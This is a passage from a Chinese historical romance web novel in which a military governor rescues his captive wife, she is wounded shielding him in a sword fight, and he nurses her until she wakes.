车夫神色动容,连忙将她轻轻抬上车,盖了破布。虽是死去,他仍不忍将她弃于荒野。
“姑娘,你放心,我这便去丰都城,定把话带到。”
另一边,督军署内,姬阳已整整踱了两个时辰,眉宇间积满焦灼与烦躁。他走着走着,目光忽然落在那沙盘上——紫川城仍被一支箭矢钉着,冷冷插在那里,仿佛讽刺一般。
他沉着脸,伸手将箭矢拔出。他吩咐属下:“把沙盘上紫川的部分修整好。”语气低沉。
正当此时,暗卫从药铺来报:“仍未见沈廷安的人来抓药。”言语未落,另一人又急匆匆赶来禀报:“都督,有个拉货郎,说有夫人的消息,要见您,此刻正在东阳侯府外等着。”
姬阳一怔,来不及细想,立刻翻身上马,疾驰回府。
他其实已两夜未曾好眠。明面上冷静沉稳,可心中的焦躁早已如野火燎原。
她自从嫁到丰都后,从未向他求过什么,永远不远不近的站在那里,就算自己做过混蛋事,她也不曾埋怨过自己,一想到此,姬阳又夹了一下马腹,只想快点回去。
街道上马蹄声疾如擂鼓,心跳也随之紊乱。他不是没有想过最坏的可能,可真的要面对时,却发现自己竟如此惧怕。
若她真的出了事……他不知自己会做出怎样的事。
府门前,一辆货车静静停着,破布下露出一双瘦削的脚踝,苍白无力,染着干涸的血。
姬阳骤然勒马停下,目光定格在那双脚上,心脏仿佛在瞬间被掏空,胸口猛地一紧,连呼吸都乱了。他翻身下马,几步上前,声音低哑却急切:“她……是谁?”
拉货郎上前,正要开口,姬阳已一把掀开盖在女尸身上的布。
油布揭起那刻,他的身体甚至微微颤抖。
可当他看清那张熟悉却并非他心中所想的脸时,整个人像是忽然从悬崖边被拉了回来。是寄秋,不是姜辞。
他长长吐出一口气,背脊微弯,像是一下子卸去了所有力气。那一瞬的惊惧,已叫他冷汗浸背。
“说。”他抬眼看向拉货郎,声线仍旧发紧,“她怎么回事?”
拉货郎便将一路上所见所闻细细讲来,包括寄秋临终前紧紧抓着他衣袖的模样,还有她留给东阳侯府的那句遗言。
姬阳听完,沉默良久,跟越白要来一块东阳侯府的令牌,郑重交给车夫,道:“今日之情,姬某铭记。此牌为信,日
后若有所求,只要我能,必不推辞。”
说罢,他低声吩咐:“将她抬下去,择一处风水好的地方,好生安葬。”
这时,银霜匆匆赶来,听闻消息后眼圈微红,坚定道:“我也去。”
姬阳看了她一眼,语气虽冷,却不似平日那般疏离:“可以,但别拖后腿。”
言罢,他翻身上马,一声令下,领着人马疾驰而出。
另一边,督军署偏厅内,谢归璟依旧留着。他整个人颓然坐着,目光空洞,唇色泛白,整日不言不语。
陆临川路过,见他还未离去,略感诧异,笑道:“谢公子,都督不是已放你回紫川了?怎么还在这里?”
谢归璟抬头,脸上是一种失神的破碎感。他喃喃开口,像是在自责,又像在控诉:“若那日我能多留片刻,与她多说两句话,她再等一等银霜……就不会出事。”
陆临川凝视他片刻,忽然问:“那你为何要去剃度?”
谢归璟闻言,轻笑一声,笑意苦涩至极。他垂下眼睫,低声道:“辱没家风……无颜再回。”他并未将楚窈的事情说出,只觉得难以说出口,比杀了他还难受。
空气在这一瞬陷入沉默。
傍晚时分,山间别院渐次亮起灯火,映得廊下灯笼的光影在地上轻轻晃动。
姜辞站在院中水井旁,手中拉着水桶,细瘦的手腕略显吃力。水桶刚提至井口,身后传来两道低低的议论声。
“这等姿色,少将军竟半点没动手,真是可惜了。”
“你可别忘了,她是害死少将军妹妹的人,少将军要她命,只是眼下还有用处。”
“那你的意思是,等她没用了,就得死?”
“那还用说?不过……你说,像她这样的人死前要是让兄弟们尝尝……。”
姜辞听得一字不落,拉着绳子的手不由得开始发抖。胃里不禁泛起一阵恶心,她死可以站着死,她也不怕死。
但若是被这般玷污,便宁愿直接投井。
沈廷安站在二楼窗前,指节轻扣着窗棂,目光落在院中那个纤瘦的身影上。
夜色已浓,她仍在井边打水。夜风吹来,吹得她鬓发微乱,影子在地上映出脆弱的一抹。他眉头拧起,不知为何,竟有些看不下去。
她并未像从前那些软骨之人一般哭闹求饶。
他本以为她不过是凉州送来的和亲女子,是故作坚韧的枕边棋子,或许比其他世家女子更会演戏些。可这一连几日,她不声不响地做事,倒让他渐渐分不清她究竟是怎么想的。
沈廷安眸色微沉,目光落在她拉水时微颤的手腕上,一股说不清的烦躁自心底泛起。
而此时姜辞她深吸口气,强自镇定,眼角余光扫过廊下,正见那熟悉的高大身影悄然停在窗边。
她心头一动。
几日的相处虽寡言,却已窥出沈廷安性情,他虽刚硬寡恩,但并非冷血无情。那夜他命她留在床侧,不过是出于戒备,也不曾僭越半分,她替他熬药,他虽嘴硬,却默许她寸寸靠近。
想要保命,不能以力抗争,唯有以柔攻心。
姜辞忽而失手,水桶猛地倾斜,整桶井水自井沿泼下,她身形一晃,整个人摔倒在地,衣衫湿透,溅得满身尘土,狼狈不堪。纤细的手掌撑在沙地上,发丝垂落,月光之下,落汤狼藉的身影更显脆弱。
坐在不远处的两人听见动静,正欲起身查看,忽然一道风声掠过。
沈廷安已从窗边翻身而下。
他快步走来,几步抵至井前,一把将她拉起,眉头紧蹙:“一桶水都打不好?”
姜辞垂眸,唇角轻颤,一双眼睛在月下微微泛红,像是委屈至极却又不敢辩解。那一眼望过来,像是把沈廷安心底最柔软的地方猛然刺中。
他喉间一紧,目光闪了闪,语气不由一松:“你若熬药缺水,尽管吩咐他们就是。”
姜辞轻轻点头,声音低柔:“谢少将军疼惜。”
沈廷安没再说话,自己绕过她,熟练地拎起水桶,再次打满一桶井水,亲自拎至药炉旁放下。
姜辞走上前,朝他福了福身:“多谢将军。”
就在这时,一名侍卫自院外疾步奔来,满脸惊慌,抱拳道:“少将军,不好了!都督带人朝这边来了!”
第62章
晚上,楚窈躺在越白怀中,眼睛看着房梁,便佯作随口问了一句:“听说都督抓了谢公子回来?”
越白答得干脆:“是的,不过查清楚他与夫人并未一同离开,都督便放他走了。”
楚窈眼睫微动,语气不动声色:“那他人呢?可还在丰都?”
越白想了想,忽然想起什么似的说道:“不知道现在离开了没有,不过真是奇怪,抓他回来的时候,他……竟剃了度。”
楚窈脸上的笑意未减,轻轻“哦”了一声,似是漫不经心。随即,她缓缓起身,将散乱的衣物一件件穿好。
越白靠在床沿,看着她的动作,低声问:“你这是要去哪儿?”
楚窈头也不抬,语气轻柔:“不能让人看到我留宿在你屋里,毕竟……我是夫人身边的人。”
越白却不以为意,眉梢微挑,带着几分倔气道:“那就让他们看好了。反正我打算娶你,看见了也好,省得多费口舌,正好趁此机会向都督提亲。”
楚窈闻言轻笑一声,走近几步,将一指轻点在他唇上,低头在他脸颊上落下一吻,柔声说道:“我父母的丧期还未满,如今说这些,时机未到,先别急。”
话音一落,她衣衫已整,神色如常地推门而出。
房门轻轻掩上,楚窈站在廊下,目光微顿,眉心缓缓拧起。
“剃度?”
她低声呢喃一声,眼底浮起一丝讥讽不解。
楚窈沿着回廊缓缓踱步,夜风拂过鬓角,眉眼间却渐染薄凉。唇角弯起一抹若有若无的笑意,藏着说不清的冷意与讽刺。
不过是睡了一晚,他竟连这点责任都不愿担。宁可剃发为僧,避回紫川,也不肯带她走上一程?
“谢归璟……”她低声念了一句,唇角缓缓勾起,“你还真是高尚啊。”
此时另一边,姬阳率人赶到山间别院时,月色已然冷清如霜。
他翻身下马,长靴踩在沙地上,冰冷的目光扫过眼前灯火寂寥的院落,薄唇轻启,低声道:“围起来。”
话音刚落,四周便响起了纷乱的脚步声,二十多名暗卫迅速将别院团团包围,剑戟明亮,肃杀之气瞬间弥漫。
姬阳站在院门外,一袭戎装在夜中笔挺如山。他抬眸看去,沈廷安立于院中,身后数十侍卫静候号令,屋檐之上,暗影处也隐隐可见布伏的身影。
沈廷安一点也不慌张,目光如刀般射向姬阳,冷声笑道:“都督好大的阵仗,为了个女人,竟不惜如此兴师动众,当真不怕与我沈家决裂?”
姬阳闻言,并未立刻答话。
他站在月色之下,指节悄然握紧,心中有一瞬的紧张掠过。他知道沈廷安是动了杀意的。若他此刻露出丝毫动容,姜辞的命就可能彻底没了,而且也过于被动。
他抬起眼,眸色漠然,声音不轻不重,却带着令人不寒而栗的从容:
“你真当我在乎一个女人的生死?”
沈廷安眼神微动。
“我姬阳何等身份,堂堂东阳大都督,若连自己的夫人被人绑走都不作声,那才是笑话。”他语气冷硬,剑眉
不动,“我今日来,不过是为自己讨个面子而已。你沈廷安若不给我一个交代,明日这事传出去,我这张脸往哪搁?”
他说着,眼神扫过姜辞,毫无温度,“她不过是凉州旧臣之女,若不是我母亲还念着她,我何必留她至今?”
“现在你将她绑了,要我亲自来寻,沈廷安,你觉得我还能就这么放你离开?”
这一番话,句句清冷,像是毫无感情的利刃一一剖开姜辞胸口。她定定看着他,嘴唇被她咬的泛白,心脏也一寸寸往下沉。
她看不出他眼中半分情绪。
沈廷安神情不悦,似是在评估真假,片刻后嗤笑出声:“倒是演得一手好戏。”
随即伸手一挥,别院四周树影晃动,无数持刀侍卫涌出,与东阳军对峙,气氛顿时剑拔弩张。
“若你真不在乎。”沈廷安低头冷笑,“那就动手杀了她,杀了她,给我妹妹偿命,我立刻撤兵,日后溪陵渡口,沈家军与你仍可同盟如初。”
姜辞双手被绑,脸色苍白,眼神却倔强如故。她抬头望向姬阳,眼中流露出一丝微不可察的期盼。
姬阳垂眸,手掌覆上剑柄,眼神幽深。
沈廷安的眼神陡然凌厉,声音夹杂着怒意:“若你做不到,那就别怪沈家军,转头将渡口拱手让与西凉。”他顿了顿,眼神如刀,“你知他们这些年盯着那一线水脉盯得多紧。”
姬阳不怒反笑,唇角一挑,笑意却寒意逼人:“好啊。”
他缓缓拔出佩剑,剑锋出鞘时,寒光如水,院中一瞬静得落针可闻。
姜辞站在原地,看见他抽出佩剑的一刹,心中轰然一震,眼里不可置信一点点浮现出来。她本以为他会周旋、会拒绝、会保她,哪怕一句轻微的推脱。
可没有。
他什么都没说,只是缓缓朝她走来,长靴踏在沙地上,每一步都似钉进了她的心口。
沈廷安站在姜辞身后,手指仍扣在她肩头,唇边浮起一丝讥诮的弧度,像是在欣赏一出他早已写好的剧本。
而姬阳,就那样站定在姜辞面前,手中长剑已然抬起,锋芒微颤,森冷的剑尖停在了她颈侧。
冰凉的金属贴在肌肤上,姜辞几乎能听见自己的心跳。
她看着他,瞳仁微缩,唇角发颤,却强自咬紧牙关。
那一瞬,她看着姬阳。
他的眼神,没有一丝温度,仿佛她不过是任务,是棋子,是一场交易里最轻贱的筹码。
姜辞眼中光亮一点点碎裂,胸口一阵闷痛。
可就在这一瞬。
剑锋忽然一转,寒光横掠,骤然刺向姜辞身后的沈廷安!
“唰——!”
沈廷安大骇,连忙侧身避开,掌中一松,手从姜辞肩头滑落,姜辞身形不稳,踉跄几步。
“阿辞——”姬阳反手一揽,一把将她紧紧抱进怀里。
他的臂膀宽阔有力,掌心还残留着剑柄的冰凉,但那一刻,姜辞只觉得这份力气像是从悬崖边将她整个人托起。
他低头凑近,声音低哑,几不可闻地道:“刚才的话,不是我本意。”
姜辞心口吊着的那根弦也松了下来,所有委屈与惊惧忽然找到了落处,眼底泪意悄然浮起,却强忍着没有落下。
她轻轻点了点头。
沈廷安稳住身形,脸上神情微变,冷笑着道:“你竟敢对我动手?姬阳,你真当你能全身而退?”
姬阳抱着姜辞,眉眼沉冷如霜,一字一句道:“我若真要杀你,你现在已经是个死人了。”
他目光沉沉,扫了一眼满院剑戟林立,淡声续道:“溪陵渡口我可以不要,丢了还可以打回来。可姜辞——”
他说到这,顿了顿,低头看了眼怀中女子,眼神隐隐起了变化,声音却仍如冷铁:“她,我护到底。”
话音一落,沈廷安面色铁青,一挥手,低喝:“上!”
东阳暗卫与沈家军几乎同时动手,院中刀剑铿锵,火光乍起,血光乍现。杀声、怒喝声、铁甲撞击声在山间回荡。
姬阳将姜辞轻推至侧廊一角,自己手起剑落,与沈廷安缠斗在一处。
沈廷安刀法狠辣,步步紧逼,兵刃带风,剑光与刀影交错,杀意凛然,毫不留情。
就在这混乱中,一名沈廷安的侍卫悄然绕至姜辞所在,眼中杀机毕现,刀锋直取她咽喉。
姜辞惊觉,正要闪避,眼前却倏地掠过一道白影。
寒光一闪,那柄刀被一剑荡开。
银霜从暗处扑出,手中短剑带着凌厉剑气,反手一刺,将那侍卫逼退三步,倒地不起。
“小姐!”银霜转身,将姜辞护在身后,脸上神色冷肃,从未有过的沉稳凌厉,“跟我走!”
姜辞怔在原地,一时没能回神,低声问道:“你会功夫?”
银霜未答,只是目光警觉地扫向四周。
她俯身一捞,将姜辞拉起来,斩断捆着她手的绳子,语气决然:“我们得先离开。”
“银霜,”姜辞却稳住脚步,定定看着她,“你去帮都督。”
“小姐!”银霜一愣,眼中掠过一丝罕见的犹豫与挣扎,“我只有一个使命,那就是保护你周全。”
姜辞望着她,语气沉静却无比坚定:“沈廷安手下个个身手不凡,你帮了都督,就是在帮我。”
银霜咬了咬牙,终是低声道:“你躲好。”话音一落,转身如疾风般掠入战圈。
她身法迅捷,出手干脆,每一剑都取人要害。
姬阳回头一眼,正好望见那一抹白衣凌厉地掠过人群,落点如鹰,出剑如蛇,攻守皆极稳,动作没有丝毫多余。
他眉心轻动,眼中闪过一瞬的诧异。
原来她竟是这般身手。
但下一瞬,他便又收回目光,手中长剑再起,转身继续迎向沈廷安。
夜色如墨,院中灯火摇曳未定,血腥与杀意交缠弥漫。就在双方僵持之际,沈廷安忽地扬手,一支哨箭破空而起,尖啸声骤响,划破沉沉夜幕。
紧接着,四面八方迅速涌入更多沈家军,步履如雷。数名侍卫身形矫健,跃上屋脊,手中弩箭齐齐上弦,黑黝黝的箭头冷冷指向院中东阳暗卫。
“姬阳,小心!”
姜辞瞧见屋顶的箭阵,瞳孔骤缩,几乎是下意识地出声提醒。
姬阳听声而动,身形一转,长剑横扫而出,铮然响动间已挡下数支箭矢。但沈廷安趁势欺身而上,刀锋如影随形,缠斗不休,剑光刀影间杀意逼人。
沈廷安步步紧逼,眼中寒意愈盛,忽地蓄力一击,刀锋自下而上,趁着姬阳没回头,直取他的后心,角度狠辣,几乎封死退路。
姜辞瞳孔一缩,想试着赌一把,就赌沈廷安并不是真的想要自己的命,便义无反顾冲了过去,以身体挡在了姬阳背后。
“不要——!”
一声低唤未及出口。
“噗嗤!”
刀锋破入血肉的声音清晰入耳,温热的鲜血自她胸前喷涌而出,溅在沈廷安脸上,灼得他心中一颤。
沈廷安眼中闪过一抹惊悚,他本就杀意未决,心底隐有一丝迟疑,见姜辞扑来之时虽及时收了几分力道,仍未能完全止住锋刃。
那一刻,他的手指在刀柄上动了一下,眼前,是姜辞苍白却平静的面容。
她看着他,眼中没有恨,只有一瞬间的清澈决然。
沈廷安竟一时怔在原地。
“姜辞……”
他低喃出声,近乎不可置信,手指一颤,急忙抽刀,却仍迟了一步。
姬阳猛然回身,接住倒下的姜辞。
那一瞬,他只觉整颗心都被撕裂。
“姜辞!”他怒吼出声,眼底惊惧与愤怒交织,几欲失控。
姬阳眼中已泛红,他抬头怒视沈廷安,正欲发作,却见沈廷安脸色青白交错,眼中竟浮现出一抹从未有过的慌乱。
他抬手,低声厉喝:“都给我停手。”
刀剑齐齐停住。
姜辞虚弱地靠在姬阳怀中,气息微弱,唇色苍白,却仍强撑着睁开眼。她仰起头,眼神清亮而坚定,像是用尽最后一丝力气望着他。
那一刻,四下喧嚣仿佛都远去,天地间只余下她与他。
“还好……你没事……”她轻声道,声音细微,像羽毛轻落,嘴角却努力勾出一个浅浅的笑。
话音落下,她眼睫轻颤,身子缓缓滑落下去。
姬阳一惊,立刻揽紧她,手臂用力到近乎发颤,将她牢牢圈进怀里,仿佛一松手,她便会消失一般。
而沈廷安站在原地,手中刀锋早已垂下。
他的目光落在那一滩猩红血泊里,神情第一次出现了裂缝,胸口泛起一种令人窒息的悸
动。
慌乱、愧意、难以言说的心疼。
他从未想过,自己那一刀,竟真的会刺在她身上。
这一刻,沈廷安竟然希望她活着。
姬阳低头望着怀中的姜辞,眼眸深处怒火翻涌,像是想立刻杀了沈廷安一般,他声音却冷如冰刃,字字钉入骨髓:
“沈廷安,若姜辞有事,我要你沈家,为她陪葬。”
第63章
银霜快步上前,跪在姜辞身侧,目光沉定,毫不慌乱地取下袖中帕子,迅速按住姜辞胸前仍在渗血的伤口。
血已将衣襟染透,触目惊心,她却丝毫不露惧意,只沉声道:“小姐,撑住。”
姬阳立在一旁,目光几乎不敢移开姜辞一瞬。他俯身,小心地将她整个打横抱起。
“走。”他说完,眸光冷厉地扫了沈廷安一眼,随即转身,大步朝院外走去。
银霜回头望了沈廷安一眼,那目光冷冷定定,不再是往日那般柔顺平和。
她一言未发,只深深地看他一眼,便转身,随姬阳而去。
月色凄清,夜风穿林猎猎作响。
马蹄声响彻山野,急促如鼓。
姬阳牢牢护着姜辞,让她靠在自己胸前,一手紧握缰绳,另一只手始终托着她的肩膀,时不时低声唤她。
“别睡……我们快回去了。”
姜辞靠在他怀中,胸口一阵阵抽痛,她用手压着伤口,勉强撑着睁开眼,唇角带血,却倔强地轻声道:“我记得……都督初见我时……还想杀我。”
姬阳一震,紧紧将她搂住,声音低哑:“别说话了,省省力气。那时候是我不好……以后,我不会再让你受伤。”
姜辞靠着他,气息微弱,却忽然低声道:“都督……你若答应我……倘若我死了……能否用我这一命,平息你对凉州的恨……不让两地百姓,再……再陷入战火?”
姬阳听着她断断续续的声音,只觉心头仿佛被利刃割开。
姜辞将头枕在他的身上,脸色雪白,呼吸轻浅,伤口在跳动,她疼得几乎失神,却始终没有出声,只是紧咬着唇。
姬阳猛然收紧了手臂,几乎是将她整个人压进自己怀里。
“别说了!”他低喝一声,声音破碎,带着克制到极致的颤意。
“你不会死。”他的下颌贴着她鬓边,热气喷在她耳侧,近乎哽咽地重复,“姜辞,我们先回去……别睡,你听见我说话就好……你要活着,听见没有?”
姜辞没有再开口,似是因为太过疲倦。可她心中却是清明的。
她知道,姬阳心中的仇恨不是那么容易放下的。他与凉州的旧恨,缠绕交错,早已浸入骨髓。
但她也知道,不是没有希望。
她在一点一点捂热这颗心。
夜已深,东阳侯府的灯火却亮了一整夜。
姜辞被抱回府中时,整个人早已昏迷不醒,气息微弱。姬阳几乎是一路狂奔,脚步快得似要与阎王爷抢时间。
刚踏进院门,银霜便已召来的大夫赶到。姬阳不等多说,径直将姜辞抱进内室,轻轻放在床上。
大夫紧随其后,快步走上前,目光一沉:“刀伤太深,必须立刻止血!”
他边说边俯身从药箱中取出剪刀,手起刀落,利落地剪开姜辞胸前染血的衣襟。
姬阳站在一旁,只觉眼前一片刺目。那道狰狞的伤口深可见骨,血已浸透了衣衫,沿着肌肤蜿蜒而下,红得几乎令他呼吸停滞。
他脑中一片混乱,唯有一个画面清晰无比——那一刻,姜辞扑过来,毫不犹豫地挡在他身后,以血肉之躯,挡下了沈廷安的利刃。
她明明怕疼,却咬着牙一声不吭。
姬阳指节攥得发白,只觉心如刀绞。
“我宁可这刀落在我身上……”他在心中喃喃。
屋中传来水声,是晚娘端来的一盆盆清水,银霜则在旁协助大夫清洗伤口、止血、上药。
姬阳自始至终未曾离开半步,他眼神紧盯姜辞的脸色,连呼吸都不敢太重。
屋外风吹过窗棂,银霜看着来来回回奔忙的晚娘,神色间也掩不住忧虑。
终于,大夫放下手中药钵,抹了把汗,道:“先保住了命。但这几日若高烧不退,怕是伤口会……感染。”
他顿了顿,斟酌了下措辞,“需每日早晚换药,药布须用干净帕子,切不可沾染尘秽。”
姬阳点了点头,声音哑得几乎听不见:“她会醒的。”
大夫收拾药箱,悄然退下。
屋内安静下来,只有姜辞沉重的呼吸声,时而断续。
姬阳跪坐在床边,双手覆上她有些冰冷的手掌,将额头抵在她指间,低声道:
“姜辞,我答应你,我会放下对凉州的旧恨。”
“我会替你守住凉州,护住百姓。”
“所以你也要守约,醒过来。”
不知她是否听得见。他只知,他已将一颗心,放在了她身上。
过了许久,晚娘轻手轻脚走进来,见姬阳仍跪在床前,眼下发青,神色疲惫,低声劝道:“都督……姑娘还有些时日才会转醒,您也得保重身子。”
姬阳未动,只静静看着姜辞紧闭的双眼。
晚娘叹了口气,从柜中取出被褥,轻声道:“奴婢给您在榻上铺床,就歇在这屋里。姑娘若有动静,您也能第一时间知晓。”
姬阳沉默片刻,终于开口:“好。”
翌日清晨,东阳侯府尚未彻底苏醒,天色仍灰蒙。楚窈站在姜辞卧房前,手中端着一碗刚煮好的热汤,轻声唤了一句:“银霜姐姐,我来看看大姐姐。”
银霜没有如往常那般温声细语,只一把拦住了楚窈的去路,手臂横在门前,眼神沉冷:“不必了。”
楚窈一愣,低声道:“我只是想看看她醒了没有,顺便送点吃的。”
银霜目光如刀,缓缓开口:“我不管你前几日与越白说了什么,究竟有什么心思。”
楚窈被她那冷意逼得不由自主退了一步,正欲开口,银霜已再道:“我只说一次。今后你若管不住你的嘴,就别怪我不客气,还有,你既然是愿意在这里为婢,就要记得自己的身份,还是跟我们一样叫小姐比较好。”
声音不高,却字字如锋,带着从未有过的生疏。
楚窈心头一紧,这才发现眼前的银霜与以往判若两人——她平日沉静温柔,从不与人起冲突,可此刻眉眼锋利,浑身都透出一股令人不敢逼近的冷意。
她低下头,嗫嚅道:“我知道了,那日只是……一时不慎,原本也只是担心小姐……”
“你那点担心还是藏在心里吧,我们小姐不需要。”银霜打断她的话,语气冷绝。
她侧过身,手一指偏院方向:“既然闲着,去后院帮着洗衣做活。这里不需要你。”
楚窈脸色微变,却也不
敢再争,捧着那碗汤悻悻转身,低着头往后院去了。
银霜站在廊下,望着楚窈的背影渐行渐远,眼底寒光一闪。
她缓缓垂下眼帘,转身无声离去。
夜风拂过屋檐,星月寥落,山间别院內,侍卫们正整装待发,准备回溪陵。
“少将军,”一名副将快步走上前,低声问道,“就这么走了?那女人害得表小姐落到这般下场……咱们当真不追究?”
沈廷安神情冷峻,眼角仿佛还留着昨夜未散的倦意。他站在屋檐下,抬眸望了一眼远处漆黑的夜道,忽地淡声道:“闭嘴。”
副手一愣,欲言又止,却终究咽下所有话语,退到一旁。
沈廷安转身,独自上了二楼。房间内还有一些信件与地图未收。他推门入内,屋中寂静,月光从窗纸斜落一地。
他走到书案前,正准备收起东西,忽觉一阵风从窗缝卷入,一道黑影如影随形般骤然扑至!
寒芒骤起,剑气破风而来。
“谁——”
沈廷安几乎是瞬间察觉,身形一侧,躲掉了银霜的致命一击。
他眯起眼,看清来人,声音沉冷:“是你?”
银霜未答,继续向他攻去。
沈廷安眼神一沉,迅速抽身反制,反手一掌逼退银霜三步,冷声喝道:“你疯了?”
两人于屋中缠斗片刻,动作快到肉眼难辨。银霜轻盈灵动,剑走轻巧刁钻,擅走疾攻之势;而沈廷安力沉稳准,攻防兼具,数次险招都被他及时化解。
一时间,气息紧绷,杀意四溢。
“为何要杀我?”沈廷安边挡边问,目光沉冷如夜。
银霜冷声道:“我家小姐还未睁眼,你伤了她,我就要你的命!”
话音未落,短剑自下而上猛然刺出,直取要害。
沈廷安听到那句话,目光一敛,却没有动。
银霜眸光一凝,手中剑锋未收,直直刺入了他的腹侧!
他站定原地,眼睁睁看着那一抹寒光刺入腹侧,剑身没入寸许,鲜血倏然涌出,他低低闷哼一声,脚步踉跄,却仍未出手反击。
“你疯了吗?你明明可以躲开。”
银霜震惊地看着他,眼中难掩困惑。
沈廷安勉强勾唇,苦笑一声,目光透出一丝疲惫:“这是我欠她的,这一剑,我还给她。”
门外忽然传来脚步声,数名沈家军侍卫闯入,见到沈廷安负伤,立刻怒喝:“护卫少将军!”随即拔刀指向银霜。
沈廷安却抬手,声音低哑却坚定:“不许动她。”
众人一滞,满脸错愕。
沈廷安看着银霜,眼神前所未有的认真:“你对你家主子忠心,我佩服。她若醒来,知道你为了她送命……只怕又多一笔伤心债。”
“你走吧。”
银霜微微一怔,握剑的手依旧紧绷着,眼中有愤怒,有迟疑。
她死死盯着沈廷安看了好一会儿,终是咬牙,冷冷地吐下一句:“你最好祈祷她能醒。”
话落,她纵身一跃,破窗而出,身影迅速隐入黑夜。
沈廷安捂着伤口,静静地站在原地,血一滴滴从指间滑落,染红了脚下的地板。
沈廷安的人快步上前,神情焦急:“少将军,属下这就为您包扎伤口!”
沈廷安皱眉,挥手止住,语气低沉:“都退下。”
他顿了顿,目光冷冽地扫过几人,缓缓道:“还有——这件事,不准传回溪陵。”
众人对视一眼,不敢多言,齐声领命,迅速退了出去,屋内重归寂静。
此时东阳侯府内,天光微亮,院中却依旧静寂无声。银霜尚未归来,晚娘也不知去了哪里。屋内一片沉沉,只有床榻上的人气息微弱。
姬阳坐在床前,看着托盘上摆得整整齐齐的药布与干净帕子,指节不自觉地握紧,额角渗出一丝细汗。
他从未做过这样的事,也从未想过有朝一日,自己也会照顾别人。
他在原地站了一会儿,终于还是深吸一口气,俯身坐下,先取了一块帕子,细致地擦去姜辞额角沁出的汗珠。帕子触及她的肌肤,他的动作不由放得更轻了些。
随后,他起身净了手,重新回来时,手指还有些僵硬。
他犹豫了片刻,终究还是伸手,轻轻揭开姜辞的中衣。随着层层衣料褪下,她肩膀与胸口的皮肤逐渐暴露在清晨微光下,那道斜斜的伤口尚未愈合,红肿淤血触目惊心。
姬阳眼底微缩,心弦紧绷,喉结微动。他强迫自己移开目光,低声自语:“我明明已经见惯了各种伤……”
他手指小心,尽量避开她肌肤的每一寸,仅用指腹揭开包裹的药布,动作极轻,仿佛生怕弄疼了她。
将染血的药布丢入盆中,他重新取出干净的药粉与纱布,手法也不知为何变得拙劣,却分外专注,细细为她重新包扎。
就在他低头系上最后一层布带时,忽听床榻上的人轻轻动了一下。
姬阳猛地抬头,只见姜辞眼睫轻颤,缓缓睁开了双眼。
那一瞬,他像是偷东西被抓到一样愣在原地。
姜辞神色恍惚,眼神尚未聚焦,望着他,迷迷糊糊地唤了一声:“……姬阳?”
第64章
她的声音极轻,几乎是贴着喉咙逸出的气音,却让姬阳的心脏倏然一紧。
“我……好渴……”她眨了眨眼,眼神里带着些茫然,又像是认得他的模样。
姬阳怔怔看着她,连呼吸都沉重。他猛然站起身,声音低哑:“我去倒水……你别动。”
他说完转身时,背脊仍紧绷着,手心也满是冷汗。
她醒了,他的心,也终于落了半寸。
姬阳很快倒来温水,双手微颤地捧着瓷盏,走回床前。
姜辞的眼神仍有些迷蒙,唇瓣泛着病中特有的苍白。她试图自己坐起,却一动便牵扯了伤口,忍不住蹙了眉。
“别动。”
姬阳连忙将瓷盏搁在床边,俯身一手扶住她的肩,一手托着她后背,动作小心得近乎笨拙,像是怕碰碎了什么。
他将她缓缓扶起,让她靠在自己臂弯中,这才重新取过水盏,凑至她唇边。
“慢些,小口喝。”
姜辞轻轻啜了一口,喉头滚动,温热的水顺着咽喉落下,才稍稍缓解那股烧灼的虚脱感。
喝完几口后,她偏头避开水盏,嗓音沙哑,问道:“我……睡了多久?”
姬阳垂眸望着她,沉默了一瞬,道:“两天。”
姜辞轻轻点头,眼神微转,忽然瞥见屋内一角的矮榻,那上头尚铺着有些凌乱的褥子与软枕,似有人曾在此歇息。
她眼睫动了动,低声问:“那这两天……一直是你在照顾我吗?”
姬阳一怔,随即收回手,将瓷盏放回托盘中,语气如常:“不是。我刚才来,只是想看看你伤势如何。”
他顿了顿,语气淡淡续道:“这些时日是晚娘在此照看你,那张榻是她歇息时用的。”
姜辞闻言,只轻轻“哦”了一声,垂下眼眸,轻轻的笑了。
室内一时静了下来,只有屋外风穿过廊下的声响。
她没再说话,他也没再多言。
但他仍扶着她的背,姿势维持着,没立即抽手。
姜辞靠着他,眼神幽静,烧后的脸颊透着些微红意,不知是余温未退,还是因他这过于安静的守候而起了些不自在。
她轻轻吸了口气,道:“那晚娘呢?”
姬阳声音微低:“应是被银霜唤去后院了,方才屋中只有我一人。”
姜辞点点头,没再多问。她靠着他安静了一会儿,忽然低声笑了一下:“都督今日倒是……亲力亲为。”
姬阳轻咳一声,移开视线,喉结轻动,声音低哑却带着难得的坦率:“你替我挡刀,理应如此。”
说着,他终究还是缓缓放开她,让她倚靠在厚被中,自己站起身,整了整袖口,眉间仍带着未散尽的紧张。
姜辞看着他离开床边的背影,唇角微扬,轻声道:“那我这条命……可算是捡回来了。”
姬阳脚步一顿,却没有回头,只是沉声道:“不是捡回来的,是你熬过来的。”
说完,他才转身回来,将床头被角轻轻掖好,眼神低落在她脸上,像是还不敢太过确信她真的醒了。
“你还需好好休息,药也得继续换,我这就去叫晚娘来。”姬阳说着,便欲起身往外走。
“都督。”
姜辞忽然轻声唤住他。
姬阳脚步一顿,回头望向她,眉目间下意识多了一分紧张。
她看着他,语气有些迟疑,像是小心翼翼试探般道:“我小时候生病时,我娘总会在床边给我念书……不知都督,可否也……念一段给我听?”
她声音微哑,语气却软,带着一点期许。
姬阳怔了怔,片刻后轻轻点头,没说什么,转身走向书柜,指尖在一排排书脊上缓缓掠过,最终取下一册。
他回到床边,坐下,打开书页,他低头翻着那本旧册,忽
然顿住。
姜辞偏头看了他一眼,轻声问道:“怎么了?”
姬阳将书调转了一个角度,道:“这些个故事,我从未听过,就读这篇吧,《归期无信》。”
姬阳嗓音低沉而温润地念了起来。
字句清朗,温声入耳。
“昔有一将,战败负伤,流落山村。山中有一哑女,捡了他回家,日日熬药做饭,洗衣换药。将军沉默寡言,哑女亦无言语,两人却一日日熟络起来。
她不会说话,只会在他夜里咳得厉害时,轻拍他后背。只会在他望着窗外发呆时,端来热粥放下,什么也不问。
他曾问她叫什么,她便用手指在他掌心写下‘桃’字。他看着她的字,忽然笑了,说她写得像小孩子。
后来将军的部下寻来。他终要归去,临行前在村口对她说:‘等我。我做完一件大事,便来娶你’,”
姬阳读到这里,顿了一下,目光掠过姜辞的侧脸,却没有继续看她。
他低头,轻轻翻过书页,续道:
“她便真的等了。
一年,三年,五年,她在屋后种满桃树,在腊月里做他爱吃的桂花糕。村中人都笑她傻,她却日日望着山口。
